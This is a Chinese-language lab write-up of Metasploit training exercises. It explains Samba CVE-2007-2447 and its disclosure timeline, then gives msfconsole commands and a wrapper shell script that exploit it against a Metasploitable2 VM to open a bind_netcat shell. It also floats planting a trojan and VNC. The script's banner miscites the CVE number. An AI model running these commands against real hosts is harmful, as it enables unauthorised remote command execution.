Metasploit魔鬼训练营第一章作业
1,
Samba服务
Samba是在Linux和UNIX系统上实现SMB协议的一个免费软件,由服务器及客户端程序构成。SMB(Server Messages Block,信息服务块)是一种在局域网上共享文件和打印机的一种通信协议,
它为局域网内的不同计算机之间提供文件及打印机等资源的共享服务。SMB协议是客户机/服务器型协议,客户机通过该协议可以访问服务器上的共享文件系统、打印机及其他资源。
通过设置“NetBIOS over TCP/IP”使得Samba不但能与局域网络主机分享资源,还能与全世界的电脑分享资源。
usermap_script是Samba协议的一个漏洞,ID为CVE-2007-2447,属于远程命令注入漏洞,主要影响Samba的3.0.20到3.0.25rc3 版本。
当使用非默认的用户名映射脚本配置选项时产生,通过指定一个包含shell元字符的用户名,攻击者能够执行任意命令
漏洞生命周期图:
2007年5月7日:漏洞匿名披露到security@samba.org电子邮件列表中。
2007年5月7日:Samba的开发人员Gerald Carter开始响应这个漏洞。
2007年5月9日:Samba的开发者Jeremy Allison发布了补丁,用于iDefense测试。
2007年5月10日:向vendor-sec邮件列表发布通知。
2007年5月14日:公开漏洞信息。
可以在kali 上面找到相关信息:

samba官网关于此漏洞的相关信息:
https://www.samba.org/samba/security/CVE-2007-2447.html
漏洞相关链接:
https://www.rapid7.com/db/modules/exploit/multi/samba/usermap_script
2,
更新Metasploit,百度
版本信息:

另外在msfconsole控制台输入banner可以查看metasploit的版本和攻击模块数量,以及metasploit的图标,算是彩蛋吧
3,
下载metasploitable2-Linux 在虚拟机里面,我们先让kali 和 linux互相Ping,看网络是否相通
网络相通了之后,按照书上的教程即可使用usermap_script漏洞获取Linux靶机的权限
我们先使用ifconfig查看两台虚拟机的在局域网内的ip地址,然后互ping
对了,linux靶机的账号和密码都是msfadmin,这个在登录的时候其实已经显示出来了
我们将网络都设置成NAT模式,linux靶机有两张网卡,第一张设置成NAT模式,第二张设置成仅主机模式。
先查看kali的ip地址

kali的ip地址为:10.10.10.128
接着我们查看linux靶机的ip地址,

可以看到这里的页面显示不完全,我们看到的只有第二张网卡即仅主机模式的那张网卡的ip地址,我们重定向一下输出,即
ifconfig > test
然后再 more test
可以看到

ip地址为10.10.10.254
两台虚拟机相互ping一下可知是互通的
接着按照书上的教程一样即可
首先使用samba的usermap_script模块
msf5 > use multi/samba/usermap_script
接着选择攻击载荷:
msf5 exploit(multi/samba/usermap_script) > set payload cmd/unix/bind_netcat
可以查看一下选项设置 show options
可以知道我们要设置攻击的ip地址RHOSTS
set RHOSTS 10.10.10.254
设置好了之后输入exploit即可

可以看到我们已经获取到了会话
尝试植入VNC图形化远程控制工具,网上没有相关的介绍,想法是传一个木马在linux上运行,获取shell之后在meterpreter界面run vnc开启远程桌面
4,
题目是需要我们使用msfcli命令行接口编写shell脚本程序来进行交互,也就是我们只需要输入目标ip就可以获得目标主机的会话。
这里的小知识点是
控制台选项:
-x,--execute-command COMMAND 执行指定的字符串作为控制台命令(使用;用于multiples)
这样我们只需要指定msfconsole执行我们输入的ip地址就可以了。
所以我们编写如下代码,看大佬的代码写的:
echo "this is a shell code for test CVE-2007-4779"
echo "please input target_ip"
read target_ip
echo "the target ip is $target_ip"
echo "please wait--------" msfconsole -x "use multi/samba/usermap_script;set RHOST $target_ip;set payload cmd/unix/bind_netcat;exploit"


短暂等待开启msf之后就可以获取输入目标ip的会话了
Metasploit魔鬼训练营第一章作业的更多相关文章
- MSF魔鬼训练营第一章 初识Metasploit
1.1.4渗透测试过程环节 PTES标准7个阶段 1.前期交互阶段 收集客户需求.准备测试计划.定义测试范围与边界.定义业务目标.项目管理与规划等 2.情报搜集阶段 公开来源信息查 ...
- OOP 第一章作业总结
程序设计结构分析 类图分析 第一次作业 由于第一次作业完成的功能比较简单,而且出于对面向对象设计理念不熟悉(其实现在也不是很熟悉,逃),整个程序设计的非常简单.通过类图(见下)可以看出,程序只有两个类 ...
- linux系统管理第一章作业
上机作业: 1.请用命令查出ifconfig命令程序的绝对路径 [root@localhost ~]# which ifconfig /usr/sbin/ifconfig 2.请用命令展示以下命令哪些 ...
- 《Metasploit魔鬼训练营》第一章实践作业
<Metasploit魔鬼训练营>第一章实践作业 1.搜集Samba服务usermap_script安全漏洞的相关信息,画出该安全漏洞的生命周期图,标注各个重要事件点的日期,并提供详细描述 ...
- SQL 第二章 作业
/*第二章 作业*/ create table S ( sno char(2) NOT NULL UNIQUE, sname char(3), city char(2) ); alter table ...
- 第一章ASP.NET SignalR简介
第一章ASP.NET SignalR简介 1.1概述: ASP.NET SignalR是微软新开发的类库,为的是帮助ASP.NET开发人员很方便地开发实时网络功能. SignalR允许服务器端和客户端 ...
- Python开发入门14天集训营-第一章
python第一章 python变量 变量的作用 存数据 被程序调用和操作 标记数据 声明变量 name = "Ydh" 变量名 = 变量值 变量定义规范: 变量名只能是 字母.数 ...
- Java第一周作业
Java第一周作业 本周作业: 参考<<教材学习指导(http://www.cnblogs.com/rocedu/p/7911138.html)) 学习第一章视频 参考<<使用 ...
- Linux第一章第二章学习笔记
第一章 Linux内核简介 1.1 Unix的历史 它是现存操作系统中最强大最优秀的系统. 设计简洁,在发布时提供原代码. 所有东西都被当做文件对待. Unix的内核和其他相关软件是用C语言编写而成的 ...
随机推荐
- 经典c程序100例 1-10
==1--10 [程序1] 题目:有1.2.3.4个数字,能组成多少个互不相同且无重复数字的三位数?都是多少? 1.程序分析:可填在百位.十位.个位的数字都是1.2.3.4.组成所有的排列后再去 掉不 ...
- 主动关闭 time wait结构体
/* * This is a TIME_WAIT sock. It works around the memory consumption * problems of sockets in such ...
- IP 层收发报文简要剖析6--ip_forward 报文转发
//在函数ip_route_input_slow->ip_mkroute_input注册, /* * IP数据包的转发是由ip_forward()处理,该函数在ip_rcv_finish() * ...
- 测试cephfs写入海量文件
前言 测试cephfs的写入大量文件,通过mdtest写入1K大小的文件1亿个,每个目录里面文件为1万,目录总数为1万,总文件数目就为1亿了 写入的命令 mdtest -C -F -L -z 4 -b ...
- mon磁盘满重启的问题
问题 Ceph monitors 100% full filesystem, refusing start 问题原文 I have an issue with a (not in production ...
- dm-crypt加密磁盘
dm-cry加密方式密码与文件 与其它创建加密文件系统的方法相比,dm-crypt系统有着无可比拟的优越性:它的速度更快,易用性更强.除此之外,它的适用面也很广,能够运行在各种块设备上,即使这些设备使 ...
- 彻底卸载MySQL5.7(msi,exe)版
1,停止MySQL服务 2,右键找到任务管理器 3,在程序中卸载MySQL 4,删除MySQL安装目录 有的是在C:\Program Files下,我的是在(X86)下 5,删除隐藏文件中的MySQL ...
- Python 调用接口添加头信息
import requests,jsonurl = 'http://47.108.115.193:9000/tb-store/store/getWechatAppHome'header={" ...
- [转载]Redis 持久化之RDB和AOF
原文链接:https://www.cnblogs.com/itdragon/p/7906481.html 温馨提示 在正式数据(当然是非生产环境啦)练习以下操作时,一定一定一定记得备份dump.rdb ...
- 面试官:你说你精通源码,那你知道ArrayList 源码的设计思路吗?
Arraylist源码分析 ArrayList 我们几乎每天都会使用到,但是通常情况下我们只是知道如何去使用,至于其内部是怎么实现的我们不关心,但是有些时候面试官就喜欢问与ArrayList 的源码相 ...